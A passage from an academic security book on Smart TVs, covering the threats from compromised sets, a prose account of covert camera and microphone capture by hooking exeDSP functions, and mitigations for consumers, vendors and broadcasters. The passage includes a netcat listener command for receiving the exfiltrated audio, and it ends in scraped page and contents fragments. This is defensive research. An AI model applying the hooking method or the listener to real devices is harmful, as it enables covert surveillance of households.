security and privacy of consumers. The following is a non-exhaustive list of threats
made possible by compromised STVs.
Theft Credentials stored on STVs for VOD services and social networks could be
stolen; also credit card data for shopping sites. Files on attached USB storage and
network shares could be accessed and exfiltrated, as well.

DOI 10.1007/978-3-319-20994-4_4
82 4 Security & Privacy Implications
Burglaries Burglaries could be planned with the help of compromised STVs. Cre-
dentials stolen from the STV can be used to learn the physical address of the user:
At least one major VOD service provider returns this data in response to a login
request on the STV [23]. The camera can be activated to identify worthwhile targets,
and to learn when people are at home. If the STV does not have a camera, it can
instead scan the network for mobile devices, which indicate if someone is at home.
Criminals could sell this information on black markets.
Stepping Stone Compromised STVs could also be used as a stepping stone to attack
other devices on the local network. Devices within a private or corporate local network
are often configured to provide access to data for other devices on the same internal
network. In addition, some computers or routers may be running vulnerable software
that can be exploited to gain control over the device.
Smart Home Many connected home appliances — representatives of the Internet
of Things (IoT) — are vulnerable to attacks, especially if performed over the local
network [3]. Compromised STVs are able to launch these attacks, even more so if
they are to become the new center of the Smart Home and are thus given control over
these devices by design.
Traffic Redirection PCs and other devices connected to a local network generally
use a default gateway to deliver traffic to and from the Internet, commonly a NAT
router. A compromised STV can impersonate the default gateway, e.g., by launching
ARP spoofing attacks or by acting as a DHCP server. This enables MITM attacks
against other devices on the same local network and may allow the attacker to gain
access to login credentials entered on web sites, for example. A STV can also utilize
the traffic redirection to deliver malware to PCs’ web browsers.
Privacy Unauthorized access to built-in cameras and microphones could be uti-
lized to invade users’ privacy; recordings could also be used for blackmailing. Ran-
somware, i.e., malware that blocks access to a device until a ransom is paid, could
become a problem for STVs as it has for PCs and smart phones.
Persistency and Stealthiness Malware can rewrite the firmware on the STV and
thereby survive power cycles. It can also replace the functions responsible for pow-
ering off the STV; instead, only the display is turned off [21]. This allows the malware
to run 24/7, invisible to the user.
Targeted Advertisements Criminals could replace commercials on infected STVs
and gain income from ad revenue. Ads could also be strongly targeted to match the
interest of the consumer, by analyzing data accessible to the TV and even based on
keywords from recorded conversations. Similarly, criminals could launch sophisti-
cated phishing campaigns: A TV ad could lure the user into entering credit card
or other sensitive data on a phishing web site, potentially also based on previously
gathered information. People generally tend to be less suspicious towards TV ads
than towards unsolicited e-mails, for example.
4.1 Consumers 83
Listing 4.1 Original video capture program flow on the STV

1 int V4L2Capture :: CaptureThread ()
2 {
3 v4l2buffer buffer ;
4 while (1)
5 {
6 // block until new frame is available
7 select ( videoDevice_FileDescriptor );
8 // copy frame to buffer
9 V4L2Capture :: ReadFrame ( buffer );
10 // process image
11 process_image ( buffer . start , buffer . length );
12 }
13 }
Power Surges The power line frequency has to be kept constant, which requires grid
operators to continuously match electricity demand and supply based on estimated
user behavior. A major source of power surges in the UK is a phenomenon called TV
pickup [4], which refers to a large number of people simultaneously using electric
kettles during commercial breaks of popular TV shows or after sporting events.
An attacker controlling millions of STVs could cause unexpected power surges by
simultaneously turning TV sets on or off. Even worse, if STVs are able to control
the Smart Home, this attack could be extended to connected electric appliances.
Camera
Starting in 2012, Samsung added video cameras to its Smart TV lineup that allow
users to make Skype calls or control the TV via physical gestures. Although for-
merly found in mid-range to high-end models, only the latter feature built-in cam-
eras nowadays; many of the remaining models, however, can be upgraded with an
add-on camera. The camera hardware is based on current webcam solutions using
the standard Video4Linux API interface, providing h264-encoded frames at a rate of
25 frames per second.
The video stream cannot be captured using the Linux camera device directly, as
it is used exclusively by the exeDSP process for gesture recognition [12, 16]. To
capture the video stream without alerting the user, the full feature set of the STV
has to be maintained. This can be achieved by injecting the payload to the camera
thread of exeDSP running on the STV, using the injectso port written by Sebastian
Krahmer. Listing 4.1 shows the pseudo-code executed by this thread.
The STV’s shared libraries use position-independent code (PIC), which allows
the dynamic linker to place them at any convenient location in the process’ virtual
address space. Functions are called using the PLT and GOT, which allows an exploit
to hook or replace them by manipulating the corresponding function pointers in the
GOT (see Appendix of Chap. 2). The malicious library is loaded into the address
space of exeDSP and hooks the benign V4L2Capture::ReadFrame function. As a
result, the malicious replacement function is continuously called, which grabs the
recorded frames from the camera’s buffer, streams them over the Internet, and finally
calls the original ReadFrame function. This preserves the original functionality and
thereby achieves a stealthy user surveillance.
Microphone
Together with the gesture support, Samsung introduced a voice control feature. STVs
equipped with cameras feature built-in microphones, too; most newer models, how-
ever, have moved the microphone from the TV set to the remote control and require
the user to press a button to activate the microphone. The examined E-series (2012)
model has a built-in microphone, which continuously captures surrounding sounds,
even if the voice control feature is deactivated by the user.
Linux provides a generic framework for audio input and output, the Advanced
Linux Sound Architecture (ALSA). exeDSP continuously polls the microphone input
by executing ALSA’s snd_pcm_readi function with a buffer of 1200 bytes. The
ALSA library function accesses the kernel’s ALSA implementation and fills the
buffer with data from the recording device, which is connected through generic
USB sound card support. Hooking the snd_pcm_readi function allows an attacker
to stream live audio from the STV’s microphone without quality loss or noticeable
delay over the Internet [12, 16].
The buffer passed to the snd_pcm_readi function is copied to a network socket
and then returned to the caller. The buffer contains pulse-code-modulated (PCM)
audio frames with 16 kHz sample rate and 16-bit resolution in stereo. This can easily
be decoded with the ALSA PCM decoder.1
4.1.2 Mitigation
There are a few things consumers can do to mitigate threats. A simple but effec-
tive step is to disable cameras when they are not in use. Cameras can usually be
turned to face the inside of the TV frame, thus effectively disabling them. Con-
sumers should avoid STVs with built-in microphones if they cannot be physically
deactivated. Preferable are solutions that have the microphone built into the remote
control, and a button to activate it. A STV without built-in camera and microphone
should be considered if these features are not going to be used anyway.
1 nc -l -p 5000 | aplay -c 2 -r 16000 -f S16_LE -.

4.1 Consumers 85
In the past, web browsers on Smart TVs were updated infrequently and con-
tained various known vulnerabilities. This seems to have changed and browsers are
becoming more secure. However, consumers should navigate only to trusted sites
and preferably switch to other devices when entering sensitive information.
As described in Chap. 2, media files can contain malware able to compromise
STVs. Users should be aware that playing files from untrusted sources poses a risk.
The same holds true for the installation of apps.
It is very difficult for users to detect malware on their STVs. One way to detect 24/7
malware is to attach the TV to an energy meter and monitor the power consumption
while the device is in standby. To be on the safe side, consumers can disconnect the
power plug whenever the TV is not in use.
Tech-savvy users should install a firewall between the STV and the local network,
allowing access only to required services on legitimate hosts. This severely limits
the impact a rogue STV can have on the local network and it can help to detect an
infection with malware.
4.2 Content Providers
Content providers rely on Digital Rights Management (DRM) [7] to control the
distribution of media content. The primary use case for Smart TVs — apart from
linear TV — is VOD, which requires DRM. STVs generally support a number of
different DRM systems, implemented in shared libraries on the device.
Ideally, systems processing DRM keys have two separate execution units. The
system software and applications run on the main CPU, whereas DRM-related oper-
ations are performed on the isolated second CPU. A (likely) compromise of the
host system therefore neither compromises the key material nor enables access to
unencrypted content.
An example of this system is the set-top boxes (STBs) used for Microsoft’s (now
Ericsson’s) Mediaroom [9], a popular IPTV platform. The system-on-chip (SOC)
used in some older devices for this platform is the SMP8634 from Sigma [22]. In
addition to the normal CPU, it features a second, secure CPU that runs a minimal
operating system. It is able to schedule four different isolated tasks, which can be
used for DRM processing. Another remarkable feature was that the secure CPU had
direct access to video accelerators and video output. The system was compromised
twice, through an open JTAG port in 2007 [14] and by circumventing signature
checks in 2012 [17], but due to this design the DRM keys and content were never
compromised.
Smart TVs, on the other hand, started out as regular Linux boxes on standard
ARM SOCs, not like the mentioned STB. Some of the DRM schemes in use on older
STVs are purely software-based, the code being executed on the same platform as
the host system. A compromised host system, as presented in this work, is then able
to attack the DRM implementation and get hold of the unencrypted, source-encoded
content.
Most, if not all, ARM-based SOCs used in STVs today dispose of a hardware
security feature called Trustzone (TZ). Many older STV models, however, lack the
software stack required to make use of TZ. It remains to be seen if these devices
will be cut off from premium content in the future, due to the lack of trust in the
underlying platform. If TZ is used properly, it can be used to isolate sensitive DRM
operations from the rest of the system and hence reliably protect DRM keys in case
the STV is compromised.
4.3 Vendors
With the ongoing negative press on the security and privacy of Smart TVs, ven-
dors have to regain trust by investing more in security. A good example of this
is integrated cameras that can be disabled mechanically. The same has happened
with microphones, which have previously been integrated in STVs with no way of
mechanically disabling them. Now, they are either mechanically disconnected with
the camera, or integrated in the remote control and only activated if the user presses
a button. However, the latter approach must ensure that these remote controls cannot
be compromised and in turn activate the microphone without user confirmation.
In addition, for users not requiring WiFi and Bluetooth there should be a physical
switch to disable the corresponding hardware. This way, any communication origi-
nating from the TV must use the wired network connection, which can be firewalled
and monitored to detect unauthorized data transfers.
4.3.1 Firmware Updates
Another severe shortcoming of previous Smart TV generations has been their update
mechanism. This is traditionally split in two parts: System software and app updates.
The operating system and the main TV software are updated via firmware updates,
which are large and infrequent. Apps on the other hand, e.g., the web browser, are
updated more frequently.
A large part of the system software, however, is open source software and —
like any other software — contains bugs which are eventually discovered, fixed, and
made public. Linux distributions apply these patches to the software in their package
repository, which is pulled regularly by server and desktop systems. As a result, these
systems are always protected against publicly known vulnerabilities.
Smart TVs, on the other hand, have to rely on the vendor for this. The vendor has
to monitor all of the used (open source) software components for security announce-
ments, integrate available patches, test the complete system, and deploy the firmware
update. This is a tedious process and requires a lot of time and resources, especially
since the used open source components are often heavily modified and therefore
based on old versions. Even worse, if the version of the software is no longer main-
4.3 Vendors 87
tained by the author, security patches from current versions have to be backported
by the STV vendor.
A good example is the libavformat library [10] used on Samsung STVs. The ini-
tial firmware release of the examined 2012 model used version 52.104.0 of the library,
a version dating back to March 2011. In a recent firmware update from Dec. 2014,
the same version is still used, although the binary has changed. Samsung apparently
monitors announcements for security-relevant updates and integrates them into their
version of libavformat. Unfortunately not all security-relevant fixes get marked as
such and hence not all are applied (cf. Sect. 2.5.2).
Another problem is that vendors are not required to provide software updates once
the support period of the STV has expired. Other industries have the same problem,
for example, Android smart phones. However, the situation with STVs is especially
problematic: TVs are replaced every six to eight years, according to a recent study on
global TV replacements [11]. This is significantly longer than the warranty, leaving
the user with no guarantee that the TV will be supported with bug and security fixes.
And this is just for the primary TV set; many households still continue to use the old
devices in another room.
The most recent firmware for Samsung’s then popular 2009 model LExxB650
dates back to October 2010. There are dozens of unfixed vulnerabilities on these TV
sets, threatening the security of the networks they are connected to. And this problem
is only going to increase, as product support periods run out.
Figure 4.1 shows the approximate number of firmware updates released in the first
five years after market launch. The data is collected from various Internet forums,
which are used by STV owners to announce new firmware releases and the observed
Fig. 4.1 Number of firmware updates issued per year for STV models from 2011 and 2012, based
on data from 2011 to May 2015
Fig. 4.2 Number of vulnerabilities published in open source libraries in the past three years, based
on CVE entries (FFmpeg: all entries, Apple WebKit and Adobe Flash: only code execution entries)
changes. The figure clearly demonstrates that the number of available firmware
updates decreases constantly with each year. After four years, STVs are unlikely
to receive further firmware updates.
Common (open source) libraries used on STVs are WebKit (see Sect. 3.8), FFmpeg
(see Chap. 2), and Adobe Flash. These libraries have to deal with complex input
data from untrusted sources, which makes them attractive targets for attacks. The
complexity has led to a high number of newly discovered vulnerabilities in recent
years. Figure 4.2 shows the number of vulnerabilities that have been assigned a CVE
identifier; for FFmpeg, all entries are counted, whereas for WebKit and Flash only
CVEs related to code execution are counted.
Vulnerabilities in WebKit and FFmpeg can be exploited, e.g., by malicious HbbTV
applications, as explained in Chap. 3. It becomes clear from these figures that the
current firmware update system is unable to mitigate the threat from vulnerabilities
in these libraries. Furthermore, a new firmware release does not necessarily contain
fixes for all the vulnerabilities published so far. It is difficult to be sure if a vulnerability
is fixed, as firmware updates are encrypted, corresponding up-to-date source code is
not published, and potential security fixes are not documented.
Another problem with the current firmware update system is that it does not
scale very well. If every vulnerability that is published was to be addressed by a
firmware update, consumers would be confronted with hundreds of updates every
year. Firmware updates are large and time-consuming, and as a result users would
become annoyed and disable them completely.
STV vendors’ recent move towards more standardized Linux-based ecosystems
such as Android, WebOS, Tizen, and Firefox OS brings the great opportunity to adopt
4.3 Vendors 89
more flexible and rapid update mechanisms. Updates to the upstream core ecosystem
could be integrated faster and delivered on a per package basis, instead of requiring
consumers to upgrade the entire firmware.
Another positive development is Samsung’s Evolution Kit. As described in
Sect. 1.2, this allows consumers to upgrade the processing hardware of the STV
to subsequent generations. In the process, the system software is upgraded as well.
This allows consumers to enjoy the benefits of an up-to-date system with ongoing
firmware update support. In addition, it greatly reduces the amount of waste produced
through old STVs.
Aftermarket Firmware
One possible solution for vendors to support firmware updates beyond the regu-
lar warranty period could be to open up the system for community-driven alterna-
tive firmware projects. The SamyGO project [19], for example, provides firmware
enhancements for all generations of Samsung STVs, fixing flaws and extending
functionality. Currently, a lot of effort has to be put into the reverse-engineering of
the closed-source vendor software as well as into rooting the devices. Even worse,
vendor-provided firmware updates close holes that are used by the community to gain
access to devices. This also severely limits the amount of people able to contribute
to the project.
If vendors were to release the sources for the software and allow for the installation
of alternative firmware on old devices, it could create a vivid firmware development
community. Such a policy could provide users with a future-proof device — both
feature- and security-wise — which can be an important factor when deciding which
device to buy. Opening up the firmware does not pose a threat to DRM, as related
operations and keys could still be locked away using TrustZone.
CyanogenMod [6], a community project, demonstrates that this approach can be
successful. The project has been providing current Android releases for years, for old
and current smart phones alike. Another example is OpenWRT [18], which develops
a widely used open source firmware for routers.
It is important to note that current STVs lack a (documented) method to securely
reset the STV firmware and data to factory settings, which is especially important
for the second-hand market. Currently, users can reset the STV from within a regular
menu; however, there is no assurance that the firmware hasn’t been tampered with
previously and that a reset is actually performed. This problem could be solved by
adding a factory reset feature that is available from a secure bootloader, i.e., without
having to load a potentially compromised firmware. New owners of second-hand
STVs could invoke this functionality by pressing a special key combination on the
remote control directly after connecting it to the power outlet. This would verify the
integrity and authenticity of the currently installed firmware, delete all data partitions,
and optionally update the firmware to the most recent version available from the
vendor.
4.3.2 Exploit Mitigation
CPUs, operating systems, and compilers offer a variety of exploit mitigation tech-
niques, designed to make the exploitation of software vulnerabilities more difficult.
Applications’ access to system memory can be restricted by the CPU: Executable
memory areas are mapped read-only, and read-write areas such as the stack and heap
cannot be used to execute code from. As a result, vulnerabilities can no longer be
exploited to place executable code on the stack and directly jump to it.
For this purpose, a bit in the page tables used for processes’ memory mappings
is set to prevent execution from the respective memory. The bit is called No eXecute
(NX), eXecute Disable (XD), and eXecute Never (XN) on AMD, Intel, and ARM
CPUs, respectively. On Microsoft Windows, this feature is known as Data Execution
Prevention (DEP) [13].
Operating systems can implement address space layout randomization (ASLR) to
randomize the addresses of executable code, libraries, the stack, and the heap. This
prevents exploits from leveraging return-to-libc and return-oriented programming
(ROP) attacks [5]. Compilers can insert stack canaries to prevent stack-based buffer
overflows, and use the RELRO mitigation technique in FULL RELRO mode to prevent
write access to the GOT section [13].
Another important approach in secure systems is the principle of least privilege.
It requires that software be structured in a way that code only runs with the privileges
required to fulfill the specific task. If this code is compromised, the resulting damage
is minimal due to its limited privileges. Operating systems offer isolation between
processes, which can run with different privileges.
On the analyzed Samsung STVs from 2009 and 2012, none of these well-
established exploitation mitigation strategies were employed. In addition,
almost the entire functionality of the TV is implemented in a single process,
which runs with full system privileges. A vulnerability in any of these compo-
nents leads to immediate, full control over the system. The only minor annoy-
ance for attackers are the random start addresses of libraries loaded at runtime,
a side effect caused by speed optimization and not security considerations.
4.3.3 Opportunities
The STV market is highly competitive, which has resulted in the survival of only a
few large players. Vendors so far only benefit from the sale of the STV, while a lot of
the profit is made with applications that leverage this platform. Increased investments
in security are necessary and could also enable new markets.
4.3 Vendors 91
An interesting approach would be to offer an isolated virtual machine for users to

run their own operating system and applications. Current STVs offer the necessary
processing power; it is merely a question of software. This could create a whole new
community-driven market and would offer a unique selling point. This same feature
was initially offered with Sony’s PlayStation 3, which allowed users to install another
OS in a restricted environment on the console.
4.4 Broadcasters
Many broadcasters have used HbbTV to conduct market research on consumers,

without their knowledge (see Sect. 3.4). This has changed for the better, but there are
still no governing rules and the technology still does not enforce consumers’ privacy.
Consumers should be given the choice between full-fledged autostart app indication
and static red button indication from the object carousel, which would technically
guarantee the users’ privacy and better protect the security of STVs.
Broadcasters have realized the importance of user privacy, and many have begun
to offer privacy settings in their HbbTV apps. The German public sector broadcaster
ARD is a good example: There is a clear, transparent statement [1] regarding the
processed data and users can opt out of data collection without losing the ability
to use the HbbTV service. This should become an industry standard, if necessary
enforced by legislation.
Last but not least, monitoring mechanisms should be widely employed to detect
commencing attacks and irregularities, as described in Sect. 3.9.2. This is especially
important for the neuralgic points mentioned in Sect. 3.5.2, i.e., cable headend sta-
tions and regional repeaters.
References
1. ARD Digital. HbbTV – Datenschutz ARD Startapplikation. http://www.ard-digital.de/hbbtv/

hbbtv-datenschutz.
2. ARD plusminus. Smart TV – Sicherheitslücken bei Internet-Betrieb, Apr. 2015. http://www.
daserste.de/information/wirtschaft-boerse/plusminus/sendung/swr/smart-tv-22042015-100.
html.
3. M. B. Barcena and C. Wueest. Insecurity in the Internet of Things. Whitepaper, Syman-
tec, Mar. 2015. http://www.symantec.com/content/en/us/enterprise/media/security_response/
whitepapers/insecurity-in-the-internet-of-things.pdf.
4. D. Carrington. Strictly come dancing: National grid prepares for biggest surge of the year. The
Guardian, Dec. 2013. http://www.theguardian.com/environment/2013/dec/20/strictly-come-
dancing-bbc-national-grid.
5. S. Checkoway, L. Davi, A. Dmitrienko, A.-R. Sadeghi, H. Shacham, and M. Winandy. Return-
oriented programming without returns. In Proceedings of the 17th ACM Conference on Com-
puter and Communications Security, CCS ’10, pages 559–572, NY, USA, 2010. ACM.
6. CyanogenMod. Android community operating system. http://www.cyanogenmod.org.
7. E. Diehl. Securing Digital Video: Techniques for DRM and Content Protection. Springer, 2012.
8. Digital TV Research. Connected TV forecasts. Sept. 2014.
9. Ericsson. Mediaroom is now part of Ericsson. http://www.ericsson.com/ourportfolio/
mediaroom-landingpage.
10. FFmpeg. The libavformat library. http://www.ffmpeg.org/libavformat.html.
11. IHS DisplaySearch. Global TV replacement study, June 2014.
12. A. Karpow. Hardware and software security of modern Smart TVs. Master’s thesis, Technische
Universität Berlin, June 2014.
14. C. Maier et al. t-hack.com – X300T / X301T. http://www.t-hack.com/forum.
15. B. Michéle and A. Karpow. Demo: Using malicious media files to compromise the security and
privacy of Smart TVs. In Proceedings of the 11th Consumer Communications and Networking
Conference (CCNC), pages 1144–1145. IEEE, Jan. 2014.
pages 351–356. IEEE, Jan. 2014.
17. B. Michéle, J. Krämer, and J.-P. Seifert. Structure-based RSA fault attacks. In Proceedings of
the 8th International Conference on Information Security Practice and Experience (ISPEC’12),
volume 7232 of Lecture Notes in Computer Science, pages 301–318. Springer, 2012.
18. OpenWRT. A GNU/Linux based firmware program for embedded devices such as residential
gateways and routers. https://www.openwrt.org.
19. SamyGO. SamyGO, Samsung firmware on the go. http://wiki.samygo.tv.
20. H. Schmundt. Smart-TV. Glotze glotzt zurück. Der Spiegel, 8/2014. http://www.spiegel.de/
spiegel/print/d-125080841.html.
21. L. SeungJin and S. Kim. Smart TV security - #1984 century. In Troopers,
March 2013. https://www.troopers.de/wp-content/uploads/2012/12/TROOPERS13-Smart_
TV_Security-Lee_beist_SeungJin.pdf.
22. Sigma Designs. Set-Top Box IPTV and Hybrid SoCs. http://www.sigmadesigns.com/set-top-
box-iptv-hybrid-socs/.
23. R. Stinder and A. Görbing. App Architecture on Smart TVs: Analysis of a Video-on-Demand
App. Bachelor’s thesis, Technische Universität Berlin, June 2014.

Smart TV Security Media Playback and Digital Video Broadcast

Uploaded by

Copyright:

Available Formats

You might also like

Smart TV Security Media Playback and Digital Video Broadcast

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Smart TV Security Media Playback and Digital Video Broadcast

Uploaded by

Copyright:

Available Formats

SPRINGER BRIEFS IN COMPUTER SCIENCE

ISSN 2191-5768 ISSN 2191-5776 (electronic)

Library of Congress Control Number: 2015954973

Springer Cham Heidelberg New York Dordrecht London

Printed on acid-free paper

Springer International Publishing AG Switzerland is part of Springer Science+Business Media

Berlin Benjamin Michéle

1 Digital Television and Smart TVs . . . . . . . . . . . . . . . . . . . . . . . . . 1

3.9 A Novel Protection Scheme. . . . . . . . . . . . . . . . . . . . . . . . . . . 72

AIT Application Information Table

SSH Secure Shell

© The Author(s) 2015 1

In another attempt to combine interactive applications and the broadcast domain,

1.1.3 Security and Privacy

1.3 Successful Attack Vectors

Emulated USB drive

Mid-range to high-end Samsung B-series models (2009) feature a Content Library

USB Storage Emulation

File Access Tracking

Listing 1.1 FAT parser output during app install [13]

Block Cache Bypass

Attack on Samsung B-Series

1.3.2 App Installation

1.3.3 Media Player

Basse exploits CVE-2012-5958, a stack-based buffer overflow vulnerability that

After identifying an executable memory region assumed to be the heap, another

Samsung has implemented various protection measures to prevent the modification

The Unsigned Execution Preventer (UEP) periodically checks read-write partitions

Samsung employs several anti-debugging measures in one of the threads of the

Abstract Media playback functionality is essential to any Smart TV (STV).

According to a recent non-representative survey study [20] on the user acceptance

© The Author(s) 2015 15

app store broadcast

2.2.1 Media Player

HbbTV The Hybrid Broadcast Broadband Television (HbbTV) [8] standard—

2.3.1 Proprietary Player

2.3.2 File Format Identification

stream by invoking a stream-specific read_packet function. Listing 2.1 shows a

Listing 2.1 Debug session for media player on 2012 model

2.4 Attack Scenarios

The software part of the media playback system is implemented as a component

New vulnerabilities are discovered constantly in all parts of FFmpeg, including

Listing 2.2 strk chunk in 4xm file

Listing 2.3 AudioTrack structure (20 bytes)

Listing 2.4 fourxm_read_header with strk parsing (excerpt)

Control Integrated Player

2.5.2 Buffer Overflow

Listing 2.6 Connect back shellcode [15]

Media files should be processed in a deprivileged, isolated environment. The secu-

2.6.3 Affected Devices

1 The update was released in late June.

2.6.4 Vendor Comparison

1. Adobe. Real-time messaging protocol (RTMP) specification. http://www.adobe.com/devnet/

10. FFmpeg. The libavformat library. http://www.ffmpeg.org/libavformat.html.

Abstract A billion households worldwide receive digital television, employing

© The Author(s) 2015 35

3.2.1 PSI and SI Tables

1 90◦ phase difference